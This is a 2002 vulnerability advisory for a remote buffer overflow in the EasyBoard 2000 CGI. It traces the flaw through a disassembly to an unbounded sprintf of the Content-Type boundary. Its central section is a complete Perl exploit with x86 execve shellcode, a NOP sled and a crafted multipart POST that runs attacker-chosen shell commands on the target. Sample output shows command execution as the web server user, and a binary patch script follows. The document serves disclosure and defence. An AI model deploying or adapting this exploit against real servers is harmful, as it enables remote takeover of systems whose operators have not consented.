EasyBoard 2000 Remote Buffer Overflow Vulnerability Jin Ho You, jhyou@chonnam.chonnam.ac.kr 1 Discussion EasyBoard 2000(http://ezboard.new21.org) is a web board CGI. Improperly manipulated user-supplied input to the Content-Type header can create an buffer overflow condition. This vulnerability allows arbitrary remote code execution with the privileges of the webserver. 2 Vulnerable version EasyBoard 2000 1.27xx 3 Vulnerability Analysis 3.1 Analyzed version ezboard 1.27(BUILD 515) for RedHat 7.0(x86) You can download it from: http://ezboard.new21.org/cgi-bin/ez2000/ezboard.cgi?db=ez2k/pds&action=down&dbf =52&ftype=file&file=ez2k_linux70(x86).zip 3.2 Vulnerable CGIs Vulnerable CGIs are ezboard.cgi, ezman.cgi and ezadmin.cgi. $ strings ezboard.cgi | grep -- "--%s" --%s $ strings ezman.cgi | grep -- "--%s" --%s $ strings ezadmin.cgi | grep -- "--%s" --%s 3.3 Analysis of ezboard.cgi $ objdump -s ezboard.cgi | less 806ad60 4700504f 53540043 4f4e5445 4e545f54 G.POST.CONTENT_T 806ad70 59504500 00000000 00000000 00000000 YPE............. 806ad80 6170706c 69636174 696f6e2f 782d7777 application/x-ww 806ad90 772d666f 726d2d75 726c656e 636f6465 w-form-urlencode 806ada0 64002600 3d007365 6c6e756d 00434f4e d.&.=.selnum.CON 806adb0 54454e54 5f4c454e 47544800 00000000 TENT_LENGTH..... 806adc0 6d756c74 69706172 742f666f 726d2d64 multipart/form-d 806add0 6174613b 20626f75 6e646172 793d002d ata; boundary=.- <-- 0x806addf 806ade0 2d257300 0d0a2573 00000000 00000000 -%s...%s........ "--%s" 806adf0 00000000 00000000 00000000 00000000 ................ 806ae00 436f6e74 656e742d 44697370 6f736974 Content-Disposit 806ae10 696f6e3a 20666f72 6d2d6461 74613b20 ion: form-data; 806ae20 002d2d00 3b206669 6c656e61 6d650025 .--.; filename.% $ objdump -d ezboard.cgi | less 804aff5: 57 push %edi 804aff6: 68 df ad 06 08 push $0x806addf ---> "--%s" 804affb: 8d 9d e8 fe ff ff lea 0xfffffee8(%ebp),%ebx 804b001: 53 push %ebx 804b002: e8 89 e5 ff ff call 0x8049590 $ gdb ezboard.cgi (gdb) disassemble 0x804aff6 0x804af84 : push %ebp 0x804af85 : mov %esp,%ebp 0x804af87 : push %edi 0x804af88 : push %esi 0x804af89 : push %ebx 0x804af8a : sub $0x648,%esp 0x804af90 : mov $0x806adc0,%edi 0x804af95 : cld 0x804af96 : mov $0xffffffff,%ecx 0x804af9b : mov $0x0,%al 0x804af9d : repnz scas %es:(%edi),%al 0x804af9f : not %ecx 0x804afa1 : dec %ecx 0x804afa2 : mov %ecx,0xfffff9e0(%ebp) delim_len = strlen("multipart/form-data; boundary="); 0x804afa8 : push $0x806ad67 "CONTENT_TYPE" 0x804afad : call 0x8049210 0x804afb2 : mov %eax,%ebx content_type = getenv("CONTENT_TYPE"); 0x804afb4 : lea 0xfffff9e4(%ebp),%eax 0x804afba : mov %eax,(%esp,1) 0x804afbd : call 0x804aee4 0x804afc2 : mov %eax,%esi 0x804afc4 : sub $0x8,%esp 0x804afc7 : push $0x806adc0 0x804afcc : push %ebx 0x804afcd : call 0x8049360 (gdb) x/s 0x806adc0 0x806adc0 <_IO_stdin_used+1756>: "multipart/form-data; boundary=" delim = strstr(content_type, "multipart/form-data; boundary="); 0x804afd2 : add $0x20,%esp 0x804afd5 : mov %eax,%edi 0x804afd7 : test %edi,%edi 0x804afd9 : jne 0x804afec 0x804afdb : sub $0xc,%esp 0x804afde : pushl 0x806fe6c 0x804afe4 : call 0x804cc2c 0x804afe9 : add $0x10,%esp 0x804afec : add 0xfffff9e0(%ebp),%edi delim += delim_len; 0x804aff2 : sub $0x4,%esp 0x804aff5 : push %edi 0x804aff6 : push $0x806addf 0x804affb : lea 0xfffffee8(%ebp),%ebx 0x804b001 : push %ebx 0x804b002 : call 0x8049590 char boundary[280]; sprintf(boundary, "--%s", delim); The disassembled code is like the C code: parse_multipart() { char boundary[280]; ... delim = strstr(getenv("CONTENT_TYPE"), "multipart/form-data; boundary="); delim += strlen("multipart/form-data; boundary="); sprintf(boundary, "--%s", delim); ... } We can see that sprintf() function call can create buffer overflow condition. 4 Exploit ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #!/usr/bin/perl # ez2crazy.pl # # Remote Buffer Overflow x86 Linux Exploit for # CrazyWWWBoard(http://www.crazywwwboard.com), # EasyBoard 2000(http://ezboard.new21.org) and # CGIs using qDecoder 4.0~5.0.8 # # Excessive boundary delimiter string in the header # "Content-Type: multipart/form-data" permits the buffer overflow attack. # # Programmed by Jin Ho You, jhyou@chonnam.chonnam.ac.kr, 2002/02/11 $usage = "usage: ez2crazy.pl [options] CGI-URL\n CGI-URL URL of the target CGI -c command Bourne shell command Default: '/bin/echo 00ps, Crazy!;id' -o offset Offset of the egg shell code, Recommended [-300,+300] example) ez2crazy.pl http://target.com:8080/cgi-bin/vulnerable.cgi ez2crazy.pl -o -47 target.com/cgi-bin/vulnerable.cgi ez2crazy.pl -c 'echo vulnerable.cgi has a security hole! | mail root' \\ target.com/cgi-bin/vulnerable.cgi "; use Getopt::Std; getopt('oc'); if ($#ARGV < 0) { print $usage; exit(0); }; $cgiurl = $ARGV[0]; $command = $opt_c ? $opt_c : "/bin/echo 00ps, Crazy!;id"; $offset = $opt_o ? $opt_o : 0; $cgiurl =~ s/http:\/\///; ($host, $cgiuri) = split(/\//, $cgiurl, 2); ($host, $port) = split(/:/, $host); $port = 80 unless $port; $command = "/bin/echo Content-Type: text/html;/bin/echo;($command)"; $cmdlen = length($command); $argvp = int((0x0b + $cmdlen) / 4) * 4 + 4; $shellcode = "\xeb\x37" # jmp 0x37 . "\x5e" # popl %esi . "\x89\x76" . pack(C, $argvp) # movl %esi,0xb(%esi) . "\x89\xf0" # movl %esi,%eax . "\x83\xc0\x08" # addl $0x8,%eax . "\x89\x46" . pack(C, $argvp + 4) # movl %eax,0xb(%esi) . "\x89\xf0" # movl %esi,%eax . "\x83\xc0\x0b" # addl $0xb,%eax . "\x89\x46" . pack(C, $argvp + 8) # movl %eax,0xb(%esi) . "\x31\xc0" # xorl %eax,%eax . "\x88\x46\x07" # movb %eax,0x7(%esi) . "\x4e" # dec %esi . "\x88\x46\x0b" # movb %eax,0xb(%esi) . "\x46" # inc %esi . "\x88\x46" . pack(C, 0x0b + $cmdlen) # movb %eax,0xb(%esi) . "\x89\x46" . pack(C, $argvp + 12) # movl %eax,0xb(%esi) . "\xb0\x0b" # movb $0xb,%al . "\x89\xf3" # movl %esi,%ebx . "\x8d\x4e" . pack(C, $argvp) # leal 0xb(%esi),%ecx . "\x8d\x56" . pack(C, $argvp + 12) # leal 0xb(%esi),%edx . "\xcd\x80" # int 0x80 . "\x31\xdb" # xorl %ebx,%ebx . "\x89\xd8" # movl %ebx,%eax . "\x40" # inc %eax . "\xcd\x80" # int 0x80 . "\xe8\xc4\xff\xff\xff" # call -0x3c . "/bin/sh0-c0" # .string "/bin/sh0-c0" . $command; $offset -= length($command) / 2 + length($host . $port . $cgiurl); $shelladdr = 0xbffffbd0 + $offset; $noplen = 242 - length($shellcode); $jump = $shelladdr + $noplen / 2; $entries = $shelladdr + 250; $egg = "\x90" x $noplen . $shellcode . pack(V, $jump) x 9 . pack(V, $entries) x 2 . pack(V, $jump) x 2; $content = substr($egg, 254) . "--\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n0\r\n--$egg--\r\n"; $contentlength = length($content); $exploit = "POST /$cgiuri HTTP/1.0 Connection: Keep-Alive User-Agent: Mozilla/4.72 [ko] (X11; I; Linux 2.2.14 i686) Host: $host:$port Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* Accept-Encoding: gzip Accept-Language: ko Accept-Charset: euc-kr,*,utf-8 Content-type: multipart/form-data; boundary=$egg Content-length: $contentlength $content "; use Socket; $iaddr = inet_aton($host) or die("Error: $!\n"); $paddr = sockaddr_in($port, $iaddr) or die("Error: $!\n"); $proto = getprotobyname('tcp') or die("Error: $!\n"); socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die("Error: $!\n"); connect(SOCKET, $paddr) or die("Error: $!\n"); send(SOCKET, $exploit, 0) or die("Error: $!\n"); while () { print; } close(SOCKET); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - example $ ./ez2crazy.pl -o -250 http://vulnerable.net/ezboard/ezboard.cgi HTTP/1.1 200 OK Date: Sun, 10 Feb 2002 19:08:46 GMT Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6 DAV/1.0.2 PHP/4.0.4pl1 mod_perl/1.24_01 Connection: close Content-Type: text/html 00ps, Crazy! uid=48(apache) gid=48(apache) groups=48(apache) 5 Vulnerability Fix The vulnerability can be fixed by replacing sprintf(boundary, "--%s", delim) with sprintf(boundary, "--%.200s", delim). The following code fixes the binary programs of EasyBoard 2000 x86 Linux version. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #!/usr/bin/perl # ezboard-fix.pl # # EasyBoard 2000 Buffer Overflow Vulnerability Fix for x86 Linux version # # Run this program in the directory where ezboard.cgi exists. # # Programmed by Jin Ho You, jhyou@chonnam.chonnam.ac.kr, 2002/02/11 LOOP: for $cgi_file ("ezboard.cgi","ezadmin.cgi", "ezman.cgi") { if (! -e $cgi_file) { print "$cgi_file does not exist.\n"; next LOOP; } $cgi_content=`cat $cgi_file`; if (index($cgi_content, "EasyBoard 2000") == -1 || index($cgi_content, "ld-linux.so") == -1) { print "$cgi_file is not EasyBoard 2000 for x86 Linux.\n"; next LOOP; } @obj_header = split(' ', `objdump -h $cgi_file | grep rodata`); $moff_section = hex($obj_header[3]); $foff_section = hex($obj_header[5]); $foff_fmtstr = index($cgi_content, "--%s"); $moff_fmtstr = $moff_section + $foff_fmtstr - $foff_section; $foff_push = index($cgi_content, pack("V",$moff_fmtstr)); if ($foff_push == -1) { print "$cgi_file is already fixed!\n"; next LOOP; } printf "$cgi_file: '--%%s' = 0x%08x, push '--%%s' = 0x%08x\n", $foff_fmtstr, $foff_push; open(CGI, "+<$cgi_file") or die "cannot open $cgi_file: $!"; seek(CGI, $foff_fmtstr + 17, SEEK_SET); print CGI "--%.200s"; seek(CGI, $foff_push, SEEK_SET); print CGI pack("V", $moff_fmtstr + 17); close(CGI); } ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~